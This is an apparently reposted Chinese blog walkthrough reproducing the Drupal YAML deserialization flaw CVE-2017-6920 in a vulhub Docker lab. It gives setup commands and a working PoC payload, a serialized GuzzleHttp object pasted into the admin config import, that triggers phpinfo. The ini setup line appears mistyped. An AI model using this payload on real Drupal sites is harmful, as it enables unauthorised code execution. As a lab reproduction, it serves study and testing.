千家信息网

如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,这篇文章将为大家详细讲解有关如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的
千家信息网最后更新 2026年10月31日如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现

这篇文章将为大家详细讲解有关如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由由内容管理系统和PHP开发框架共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。

2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞。

漏洞影响范围: Drupal < 8.3.4

下面仅作漏洞复现记录与实现,利用流程如下:

一、漏洞环境

本次演示环境采用vulhub搭建,执行以下命令搭建

cd /drupal/CVE-2017-6920/

docker-compose up -d

之后开启了8080端口,访问之后正常安装即可,由于没有mysql环境,所以安装的时候可以选择sqlite数据库

安装完毕之后还需要安装yaml扩展,首先执行docker ps查看容器id

之后执行docker exec -it a3df54b9def6 bash 进入容器命令行后依次执行以下命令

# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源cat > sources.list << EOFdeb http://mirrors.163.com/debian/ jessie main non-free contribdeb http://mirrors.163.com/debian/ jessie-updates main non-free contribdeb http://mirrors.163.com/debian/ jessie-backports main non-free contribdeb-src http://mirrors.163.com/debian/ jessie main non-free contribdeb-src http://mirrors.163.com/debian/ jessie-updates main non-free contribdeb-src http://mirrors.163.com/debian/ jessie-backports main non-free contribdeb http://mirrors.163.com/debian-security/ jessie/updates main non-free contribdeb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contribEOF# 安装依赖apt updateapt-get -y install gcc make autoconf libc-dev pkg-configapt-get -y install libyaml-dev# 安装yaml扩展pecl install yamldocker-php-ext-enable yaml.so# 启用 yaml.decode_php 否则无法复现成功echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini# 退出容器exit# 重启容器,CONTAINER换成自己的容器IDdocker restart CONTAINER

之后便可以开始复现漏洞了

漏洞链接: http://192.168.101.152:8080/

访问之后如下图,注意,复现该漏洞需要登录管理员账户

二、漏洞复现

登录一个管理账户

访问链接http://192.168.101.152:8080/admin/config/development/configuration/single/import

之后Configuration type选择为Simple configuration,Configuration name可以随便填写,Paste your configuration here中写入poc:

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

之后点击左下角的Import按钮便可以触发漏洞

复现结束。

关于如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

漏洞 容器 内容 管理 代码 命令 环境 序列 文章 更多 框架 知识 篇文章 语言 账户 链接 影响 登录 选择 不当 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 有格互联网科技 科技互联网产品 艾特科技互联网 科技互联网公司logo 米客互联网科技 人人互联网科技是培训 互联网科技创新企业排名 哈尔滨秒房互联网科技有限公司 天速互联网络科技有限公司 温州喔噻互联网科技有限公司 银川新华互联网科技职业技术培训学校图片 福建科技产业互联网发展 青岛科技大学互联网大赛研究生 互联网科技创新的路径 滨湖区互联网智能科技产品有哪些 广东工业互联网大赛深圳学泰科技 富国互联网科技002692 半导体行业属于互联网高科技类吗 北京互联网科技类企业分布 现代科技的标志之一的互联网 博彦科技互联网金融 河南云网互联网络科技有限公司 中关村互联网科技集团 今日互联网科技 狮子座互联网科技 中国互联网科技发展 新兴科技互联网创新大赛颁奖典礼 21世纪互联网科技成就 宁波跨境商互联网科技有限公司 上海万顺科技互联网有限公司招聘
0